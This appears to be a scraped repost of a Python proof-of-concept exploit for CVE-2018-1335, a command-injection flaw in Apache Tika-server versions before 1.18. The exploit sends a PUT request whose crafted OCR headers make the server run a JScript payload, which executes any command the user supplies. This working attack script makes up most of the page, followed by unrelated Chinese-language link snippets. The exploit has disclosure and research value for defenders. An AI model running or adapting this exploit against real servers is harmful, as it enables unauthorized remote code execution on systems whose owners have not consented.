######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server. #
#Versions Affected: Tika-server versions < 1.18 #
#Researcher: David Yesland Twitter: @Daveysec #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ # #
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335 #
###################################################################################################### import sys
import requests if len(sys.argv) < 4:
print "Usage: python CVE-2018-1335.py <host> <port> <command>"
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3] url = host+":"+str(port)+"/meta" headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"} jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd) try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False) except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"

[EXP]Apache Tika-server < 1.18 - Command Injection的更多相关文章

  1. 【apache tika】apache tika获取文件内容(与FileUtils的对比)

    Tika支持多种功能: 文档类型检测 内容提取 元数据提取 语言检测 重要特点: 统一解析器接口:Tika封装在一个单一的解析器接口的第三方解析器库.由于这个特征,用户逸出从选择合适的解析器库的负担, ...

  2. What is the difference Apache (Http Server) and Tomcat (Servlet Container)

    The Apache Project The Apache Project is a collaborative software development effort. Its goal is to ...

  3. CentOS7安装配置Apache HTTP Server

    RPM安装httpd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # yum -yinstall http ...

  4. 1.6.3 Uploading Data with Solr Cell using Apache Tika

    1. Uploading Data with Solr Cell using Apache Tika solr使用Apache Tika工程的代码提供了一个框架,用于合并所有不同格式的文件解析器为so ...

  5. apache http server 多线程模式

    一般apache采用prefork和worker机制,通过apachectl -l命令查看默认使用的prefork机制.需要修改prefork策略 那么需要做如下修改: 1,/usr/local/ap ...

  6. CentOS 7安装配置Apache HTTP Server

    原文 CentOS 7安装配置Apache HTTP Server   RPM安装httpd # yum -yinstall httpd //安装httpd会自动安装一下依赖包: apr apr-ut ...

  7. Apache Httpd Server 2.2升级2.4

    Apache Httpd Server 2.2升级2.4 (2 votes, average: 5.00 out of 5) 2,302 views 2012 年 3 月 20 日Web服务器.服务器 ...

  8. Django部署到Apache Web Server

    Windows环境下,将Django部署到Apache Web Server 在Windows上部署Django(用mod_wsgi)会出现各种奇怪的问题,现简单记录下配置过程及遇到的错误及解决方法. ...

  9. 转:Fuzzing Apache httpd server with American Fuzzy Lop + persistent mode

    Fuzzing Apache httpd server with American Fuzzy Lop + persistent mode 小结:AFL主要以文件作为输入进行fuzz,本文介绍如何对网 ...

随机推荐

  1. 使用JS读取本地文本文件(兼容各种浏览器)

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  2. pushf和popf

    pushf的功能是将标志寄存器的值压栈,而popf是从栈中弹出数据,送入标志寄存器中.

  3. Django之URL(路由系统)用法

    路由系统 路由系统概念 简而言之,路由系统就是路径和视图函数的一个对应关系.django的路由系统作用就是使views里面处理数据的函数与请求的url建立映射关系.使请求到来之后,根据urls.py里 ...

  4. 通过flask的request对象获取url

    测试了一下:通过发送 GET 到 http://127.0.0.1:5000/test/a?x=1, 后台输出为(官网说明): 1 request.path: /test/a 2 request.ho ...

  5. 移动端web轮播图插件swiper,功能很强大

    使用方法示例: <div class="swiper-container"> <div class="swiper-wrapper"> ...

  6. FJOI2018 部分题解

    领导集团问题 考虑对每一个点暴力dpdpdp:fi,jf_{i,j}fi,j​表示iii为根的子树选出来的点集最小值不小于jjj的点集元素个数最大值. 那么显然fi,j=∑max⁡{fv,k≥j}+1 ...

  7. 牛客练习赛42 C 反着计算贡献

    https://ac.nowcoder.com/acm/contest/393/C 题意 给你一个矩阵, 每次从每行挑选一个数,组成一个排列,排列的和为不重复数字之和,求所有排列的和(n,m<= ...

  8. Linux运维40道精华题

    题目 1.什么是运维?什么是游戏运维? 1)运维是指大型组织已经建立好的网络软硬件的维护,就是要保证业务的上线与运作的正常,在他运转的过程中,对他进行维护,他集合了网络.系统.数据库.开发.安全.监控 ...

  9. str相关操作

    大小写转换:*——记住 * upper() 全大写 title() 首字母大写(只要是不属于英文字母的都是分隔符) 切来切去: center(10,'*') 强行用*在原字符串左右两端拼接,拼接成十个 ...

  10. Pycharm 开发 Django 项目

    1. 安装Pycharm, 自行百度安装教程 2. 安装python3 自行百度安装教程 3. 安装Django框架 使用命令: Window的终端控制台输入:安装Django框架. pip inst ...